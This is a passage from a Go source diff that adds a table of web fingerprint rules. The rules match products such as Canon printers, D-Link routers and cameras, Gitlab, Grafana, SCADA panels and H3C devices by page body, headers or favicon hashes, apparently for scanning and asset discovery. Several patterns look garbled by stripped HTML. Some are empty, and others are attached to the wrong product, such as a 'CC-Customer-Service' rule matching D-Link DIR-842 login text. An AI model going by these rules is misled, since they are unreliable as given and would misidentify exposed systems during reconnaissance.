"Canon-MG5400-series", "body", "", InStr{"(nowrap>canon mg5400 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG5500-series", "body", "", InStr{"(nowrap>canon mg5500 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6100-series", "body", "", InStr{"(nowrap>canon mg6100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6200-series", "body", "", InStr{"(nowrap>canon mg6200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6300-series", "body", "", InStr{"(nowrap>canon mg6300 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG6400-series", "body", "", InStr{"(nowrap>canon mg6400 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG8100-series", "body", "", InStr{"(nowrap>canon mg8100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MG8200-series", "body", "", InStr{"(nowrap>canon mg8200 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP495-series", "body", "", InStr{"(nowrap>canon mp495 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP560-series", "body", "", InStr{"(nowrap>canon mp560 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP620-series", "body", "", InStr{"(nowrap>canon mp620 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP640-series", "body", "", InStr{"(nowrap>canon mp640 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP970-series", "body", "", InStr{"(nowrap>canon mp970 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP980-series", "body", "", InStr{"(nowrap>canon mp980 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MP990-series", "body", "", InStr{"(nowrap>canon mp990 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX340-series", "body", "", InStr{"(nowrap>canon mx340 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX350-series", "body", "", InStr{"(nowrap>canon mx350 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX410-series", "body", "", InStr{"(nowrap>canon mx410 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX420-series", "body", "", InStr{"(nowrap>canon mx420 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX430-series", "body", "", InStr{"(nowrap>canon mx430 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX450-series", "body", "", InStr{"(nowrap>canon mx450 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX470-series", "body", "", InStr{"(nowrap>canon mx470 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX510-series", "body", "", InStr{"(nowrap>canon mx510 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX520-series", "body", "", InStr{"(nowrap>canon mx520 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX700-series", "body", "", InStr{"(nowrap width=\"#\"> canon mx700 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX710-series", "body", "", InStr{"(nowrap>canon mx710 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX720-series", "body", "", InStr{"(nowrap>canon mx720 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX850-series", "body", "", InStr{"(nowrap width=\"#\"> canon mx850 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX860-series", "body", "", InStr{"(nowrap>canon mx860 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX870-series", "body", "", InStr{"(nowrap>canon mx870 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX880-series", "body", "", InStr{"(nowrap>canon mx880 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX890-series", "body", "", InStr{"(nowrap>canon mx890 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-MX920-series", "body", "", InStr{"(nowrap>canon mx920 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-Print-or-Copier", "body", "", InStr{"(ir-adv)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-Print-or-Copier", "header", "", InStr{"", "(canon http server|server: catwalk)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-PRO-100-series", "body", "", InStr{"(nowrap>canon pro-100 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-PRO-10-series", "body", "", InStr{"(nowrap>canon pro-10 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-PRO-1-v1-1-series", "body", "", InStr{"(nowrap>canon pro-1 v1-1 series)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Canon-Web-Camera", "body", "", InStr{"(/viewer/live/en/live.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Carel-Data-Server", "body", "", InStr{"(src=\"/mpwebcorefn.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Carel-Data-Server", "header", "", InStr{"", "(server: careldataserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cari-System", "body", "", InStr{"(src=\"/cariweb/images/images-new)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Carrier-CCNWeb", "body", "", InStr{"(/images/ccnweb.gif|copyright© cbss 项目组 自动化测试小组

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "cBSS System", "body|header", "or", InStr{"(登录cbss系统

    |
  • com.cbss.xss.filter.xssfilter.dofilter)", "(cookie_cbss|bss_acctmanm_jsessionid)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "CC-Customer-Service", "body", "", InStr{"( : dir-842|

    dir-842 login

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DIR-855L", "body", "", InStr{"(dir-855l|dir-855l)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-DNS-ShareCenter", "body", "", InStr{"(/cgi-bin/login_mgr.cgi|sharecenter)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-link-DSL-2640B", "body", "", InStr{"(product : dsl-2640b)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSL-2640T", "header", "", InStr{"", "(realm=\"dsl-2640t)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-2730E", "body", "", InStr{"(product page: dsl-2730e)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-2890AL", "body", "", InStr{"(product page : dsl-2890al|dsl-2890al)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-6850U", "header", "", InStr{"", "(realm=\"dsl-6850u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-DSL-Gateway", "header", "", InStr{"", "(realm=\"dsl gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link-DSL-Router", "header", "", InStr{"", "(realm=\"dsl router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-1000AC", "body", "", InStr{"(unified services router - dsr-1000ac )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-1000", "body", "", InStr{"(
    product page: dsr-1000)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-1000N", "body", "", InStr{"(
    product page: dsr-1000n)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-150", "body", "", InStr{"(
    product page: dsr-150|unified services router - dsr-150
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-150N", "body", "", InStr{"(
    product page: dsr-150n)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-250", "body", "", InStr{"(
    product page: dsr-250|unified services router - dsr-250
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-250N", "body", "", InStr{"(
    product page: dsr-250n|unified services router - dsr-250n
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-500AC", "body", "", InStr{"(unified services router - dsr-500ac
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-500", "body", "", InStr{"(
    product page: dsr-500|unified services router - dsr-500
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DSR-500N", "body", "", InStr{"(
    product page: dsr-500n|unified services router - dsr-500n
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D_Link-DVG-N5402SP", "body", "", InStr{"(welcome to dvg-n5402sp-r|welcome to dvg-n5402sp|lang_firmwarelogin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "D-Link", "ico", "", InStr{"", "", "(107579220745d3b21461c23024d6c4a3)"}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Internet-behavior-Router", "body", "", InStr{"(|top.window.open(\"login.html\",\"_self\");)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Internet-Camera", "header", "", InStr{"", "(d-link internet camera)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Network-Camera", "header", "", InStr{"", "(realm=\"dcs-|d-link internet camera)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-NVR", "header", "", InStr{"", "(realm=\"dnr-)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Print-Server", "header", "", InStr{"", "(realm=\"dp-302)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Router", "body", "", InStr{"(d-link systems|/image/mobile_dlinklogo_login.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Router", "header", "", InStr{"", "(dlinkrouter|dlink router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Storage-", "body", "", InStr{"(document.cookie = \"m_language=\"+v+\"; path=/\";|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DLink-Wireless-Router", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Document-Security-Management-System", "body", "", InStr{"(href=\"/drm/template/css/login.css\"|action=\"/drm/login.do\"|src=\"/drm/encjs/barrett.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "doitVR-Product", "body", "", InStr{"(src=\"/svnmedia/images/logo.svg\" alt=\"doit vr®\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DokuWiki", "body", "", InStr{"(powered by dokuwiki|content=\"dokuwiki|
    dolphinscheduler)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "DomainSponsor domain parking", "ico", "", InStr{"", "", "(1CDECC190B122A232E64945332DE0546)"}, ReqHttp{"", "", nil, ""}}, + {1, "Domain Technology Control", "ico", "", InStr{"", "", "(c86974467c2ac7b6902189944f812b9a)"}, ReqHttp{"", "", nil, ""}}, + {1, "Dongyoung-Cameras-and-Surveillance", "body", "", InStr{"(|pluginspage=\"ipcwebcomponents.exe\" type=\"application/ipcam-regplugin\"|id=\"maskheaderdiv\"|ptzguard\"|style=\"background:url(images/con-logo-bg.png);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FOSCAM-NVR", "body", "", InStr{"(style=\"background:url(images/con-logo-bg.png);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Founder-All-media-editing-system", "body", "", InStr{"(/newsedit/newsedit/css/login_1.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Founder-Operation-management-and-decision-support-system", "body", "", InStr{"(src=\"/portal/img/logo.png\"|src=\"/desktop/ui/custom/getimage?img=iphoneview.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FourSeasonsVPN", "body", "", InStr{"(imgs/fs-black-box.jpg)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Fpoll", "body", "", InStr{"(admincp/css.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FreakAuth", "header", "", InStr{"", "(set-cookie: freakauth)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FreeBSD", "header", "", InStr{"", "(freebsd)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FreeJoomlas", "body", "", InStr{"(|var jtpath = '/jt/cgi-bin/';|fuji xerox|frames[2].window.location.href=jtpath + loc;|properties/aboutprinter.html|phaser 6250dp|phaser 6250n|phaser 4500dt)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Funkwerk-Gateway", "header", "", InStr{"", "(funkwerk boss)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "FutureSystems-WeGuardia-SSLplus", "body", "", InStr{"(id=\"tsgssl\"|sslplus)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "G01", "body|header", "and", InStr{"(href=\"http://bbs.yunsuo.com.cn|video server)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gallery", "ico", "", InStr{"", "", "(56753c5386a70edba6190d49252f00bb)"}, ReqHttp{"", "", nil, ""}}, + {1, "Ganglia", "body|header", "or", InStr{"(onchange=\"ganglia_form.submit();|name=\"ganglia_form)", "(gs=unspecified)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gargoyle-Router", "body", "", InStr{"(src=\"/themes/gargoyle/images/wait_icon.gif\"|href=\"/themes/gargoyle/images/favicon.png\"|gargoyle router management utility|gargoyle firmware webgui for router management)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "garlic-doc", "ico", "", InStr{"", "", "(54b299f2f1c8b56c8c495f2ded6e3e0b)"}, ReqHttp{"", "", nil, ""}}, + {1, "gbcom-Product", "body", "", InStr{"(src=\"/cgi-bin/snmpmanager.cgi?cgimodule=login\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GC-ReimbursementSystem", "body", "", InStr{"(src=\"randomimage.aspx\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GC-System", "body", "", InStr{"( href='统一支付平台学生使用说明.doc')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gdada-ADAAccess", "body", "", InStr{"( welcome to ada access control system )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GearHost", "header", "", InStr{"", "(hosted-with: gearhost|hosted-by: gearhost)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gee-HiWiFi", "body", "", InStr{"(此方法与hiwifi中的方法保持一致)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gemtek-Router", "body", "", InStr{"(alt=\"歡迎使用中保無限路由器\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Generic-VoIP-Gateway", "header", "", InStr{"", "(voip gateway configuration web server|digest realm=\" voip gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GenieATM", "body", "", InStr{"(copyright© genie networks ltd.|defect 3531)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GenOHM-SCADA", "body", "", InStr{"(/cgi-bin/scada-vis/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Geobytes-GeoSelect", "header", "", InStr{"", "(geobytes-geoselect)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GeoHttpServer", "header", "", InStr{"", "(server: geohttpserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GeoNode", "body", "", InStr{"(powered by geowebcache)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GE-Security", "body", "", InStr{"(gede-snmp-ups-interface)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Geutebruck", "body", "", InStr{"(geutebruck g-web|content=\"geutebrück g-web\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gforge", "ico", "", InStr{"", "", "(27a097ec0dbffb7db436384635d50415|857281e82ea34abbb79b9b9c752e33d2|0e14c2f52b93613b5d1527802523b23f)"}, ReqHttp{"", "", nil, ""}}, + {1, "GFSOFT-Akuntansi-2008", "body", "", InStr{"(src=\"images/box%20akuntansi%202008.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gigabit-Color-IP-Phone", "header", "", InStr{"", "(realm=\"gigabit color ip phone)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gigaset-VOIP", "body", "", InStr{"(onclick=\"javascript:open_gigaset_help_window|gigaset communications)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitblit", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GitBucket", "body", "", InStr{"(/assets/common/images/gitbucket.png)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GitBucket", "header", "", InStr{"", "(gitbucket)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitea", "body|header", "or", InStr{"(href=\"https://docs.gitea.io\">Help)", "(Set-Cookie: i_like_gitea=(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Github-Enterprise", "header", "", InStr{"", "(_gh_manage)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitlab", "body|header", "or", InStr{"(gon.default_issues_tracker|content=\"gitlab community edition\"|content=\"gitlab |about gitlab|class=\"col-sm-7 brand-holder pull-left\"|About GitLab)", "(Set-Cookie: _gitlab_session=(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitorious", "body", "", InStr{"(powered by gitorious)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitorious", "header", "", InStr{"", "(_gitorious_sess)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GitStack-Code", "body", "", InStr{"(gitstack/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitweb", "body", "", InStr{"(content=\"gitweb|/gitweb.css|/gitweb.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gitweb", "ico", "", InStr{"", "", "(85138f44d577b03dfc738d3f27e04992)"}, ReqHttp{"", "", nil, ""}}, + {1, "GL_iNet-Router", "body", "", InStr{"(/cgi-bin/login_cgi?action=checklogin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Global-Internet-product", "body", "", InStr{"(/cgibin?pageid=92)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GlobalSign-Cert", "body", "", InStr{"(//seal.globalsign.com/siteseal)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Glodon-Console", "body", "", InStr{"(src=\"/scripts/dd_belatedpng.js|url: \"/console/account/logon\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Glossword", "body", "", InStr{"(content=\"glossword)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "glpi ", "ico", "", InStr{"", "", "(c9339a2ecde0980f40ba22c2d237b94b)"}, ReqHttp{"", "", nil, ""}}, + {1, "GM-Electronic-security-document-management-system", "body", "", InStr{"(国迈安全私有云部. all rights reserved|国迈安全私有云部 all rights reserved)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoAccess-Log", "body", "", InStr{"(by goaccess)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoAhead", "header", "", InStr{"", "(goahead|goahead-webs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoAhead-Webs", "header", "", InStr{"", "(goahead-webs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GoCDN", "header", "", InStr{"", "(gocdn)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gogs", "body", "", InStr{"(帮助)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Go-Json-Rest", "header", "", InStr{"", "(go-json-rest)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Goldencis-NACP", "body", "", InStr{"(
    通过管理员分配的密码使用紧急入口。
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Golden-dragon-card-Ecard-website-query-subsystem", "body", "", InStr{"(location.href=\"homelogin.action)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "goldlibCMS", "body", "", InStr{"(speakintertscarch.aspx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gollem", "ico", "", InStr{"", "", "(db1e3fe4a9ba1be201e913f9a401d794)"}, ReqHttp{"", "", nil, ""}}, + {1, "gonzui", "ico", "", InStr{"", "", "(921042508f011ae477d5d91b2a90d03f)"}, ReqHttp{"", "", nil, ""}}, + {3, "Goblin", "header", "", InStr{"", "(Goblinserver:)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Good10000-Tios", "body", "", InStr{"(value=\"https://mail.sinopec.com/owa/\"|北京万佳信科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Goodway-Integrated-Management-Information-System", "body", "", InStr{"(option value=\"enterprise\"|是否域账户登录)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google-Hosted-Libraries", "header", "", InStr{"", "(ajax.googleapis.com/ajax/libs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google Page Creator", "ico", "", InStr{"", "", "(A31552D4FCC0EA68D69153E458FE6AB2)"}, ReqHttp{"", "", nil, ""}}, + {1, "Google-Search-Appliance", "header", "", InStr{"", "(server: google search appliance)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google Sites web hosting", "ico", "", InStr{"", "", "(D6C8358104C64B2A3415F2F779C01EF2)"}, ReqHttp{"", "", nil, ""}}, + {1, "Google-Talk-Chatback", "body", "", InStr{"(www.google.com/talk/service/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Google web server", "ico", "", InStr{"", "", "(09b565a51e14b721a323f0ba44b2982a)"}, ReqHttp{"", "", nil, ""}}, + {1, "Goonie-Internet-Public-Ppinion-Monitoring-System", "body", "", InStr{"(alert(\"菜单层数量和内容层数量不一样!\")|网络舆情监控系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gordano-Messaging-Suite", "header", "", InStr{"", "(server: gordano)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gosa", "ico", "", InStr{"", "", "(ecab73f909ddd28e482ababe810447c8)"}, ReqHttp{"", "", nil, ""}}, + {1, "Gossamer-Forum", "body", "", InStr{"(href=\"gforum.cgi?username=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Government and Enterprise Order Center", "body", "", InStr{"(content=\"政企订单中心)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GPON-Home-Gateway", "body", "", InStr{"(/gponform/loginform|xwebpagename)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GPSweb", "body", "", InStr{"(src=\"/gpsweb/js/add_string_prototype.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grafana", "body", "", InStr{"(background-image: url(\"public/img/grafana_icon.svg\")|Sometimes restarting grafana-server can help)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grafana", "body", "", InStr{"(window.grafanabootdata = )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gramps", "ico", "", InStr{"", "", "(c16b0a5c9eb3bfd831349739d89704ec)"}, ReqHttp{"", "", nil, ""}}, + {1, "Grandnode", "body", "", InStr{"(name=\"generator\" content=\"grandnode)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandnode", "header", "", InStr{"", "(x-powered-by: grandnode| .grand.antiforgery)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandstream-company's-product", "header", "", InStr{"", "(grandstream)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandstream-GXV3140", "body", "", InStr{"(document.title = \"gxv3140\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grandstream-IP-Phone", "body", "", InStr{"(__gwt_historyframe|webapp/webapp.nocache.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "grandtec-wifi-webcam", "header", "", InStr{"", "(basic realm=\"welcome to ipcam !\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GrandTec-X-Guard", "header", "", InStr{"", "(realm=\"walkguard)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "grasp-ERP", "body", "", InStr{"( alert(\"欢迎使用 【管家婆分销erp))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "graylog", "body", "", InStr{"(org.graylog.plugins.pipelineprocessor.processorplugin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "graylog", "header", "", InStr{"", "(x-graylog-node-id|basic realm=\"graylog \")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gree-Logistics", "body", "", InStr{"(/images/gree/gree.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "greencms", "header", "", InStr{"", "(x-powered-by: greencms)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GridSite", "body", "", InStr{"(gridsite|gridsite-admin.cgi?cmd)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Grizzly NIO", "body", "", InStr{"(
    Grizzly(.*)
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Group-Office", "body", "", InStr{"(powered by group-office|\"theme\":\"group-office\",)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Group-Office", "header", "", InStr{"", "(groupoffice=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/config/index.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gSOAP", "header", "", InStr{"", "(server: gsoap)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gsoap", "ico", "", InStr{"", "", "(63d5627fc659adfdd5b902ecafe9100f)"}, ReqHttp{"", "", nil, ""}}, + {1, "guahao-AppointmentRegistrationSystem", "body", "", InStr{"(var title = \"预约挂号系统\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gunicorn", "header", "", InStr{"", "(gunicorn)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "GuoBaoJinTai-Prodcut", "body", "", InStr{"(\"程序\"->\"jtsec\"->)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gvs-server", "header", "", InStr{"", "(server: gvs)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gzcstec-Exam", "body", "", InStr{"(placeholder=\"请输入凭据\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gzmwiccard-System", "body", "", InStr{"(抄表器驱动tp1100m)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "gzqxrh-System", "body", "", InStr{"(广州全息若海信息科技有限公司|src=\"/scripts/easyui/jquery.easyui.min.js\"|style=\"vertical-align: middle; cursor: pointer|响应键盘的回车事件)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gzsa-Intranet-security", "body", "", InStr{"(gzsa. all rights reserved
    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Gztxsoft-Company's-product", "body", "", InStr{"(src=\"/aaa/ipweb/scripts/zngc-login-style.js\"|src=\"/aaa/ipweb/scripts/showoperationresult.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H2-Database", "body", "", InStr{"(login.jsp?jsessionid=|welcome to h2)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-5900-G3", "body", "", InStr{"(5900-g3)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-5900-G3", "header", "", InStr{"", "(5900-g3)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-B365", "body", "", InStr{"(var product_type = \"b365\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-B5", "body", "", InStr{"(var product_type = \"b5\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-BR104H", "header", "", InStr{"", "(basic realm=\"h3c br104h\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-BR204+", "header", "", InStr{"", "(basic realm=\"h3c br204+\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-CAS", "body", "", InStr{"(href=\"cas.css|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "h3c-Cloud", "body", "", InStr{"(分布式存储管理系统

    )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER2200G2", "body", "", InStr{"(\"=aaaaaaaa)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER3100", "header", "", InStr{"", "(h3c er3100)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER3200", "header", "", InStr{"", "(h3c er3200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER3260", "header", "", InStr{"", "(h3c er3260)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER5100", "header", "", InStr{"", "(h3c er5100)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER5200", "header", "", InStr{"", "(h3c er5200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER6300", "header", "", InStr{"", "(h3c er6300)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-ER8300", "header", "", InStr{"", "(h3c er8300)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "H3C-Firewall", "body", "", InStr{"(class=\"dl_margin0\" align=\"left\">web网管用户登录
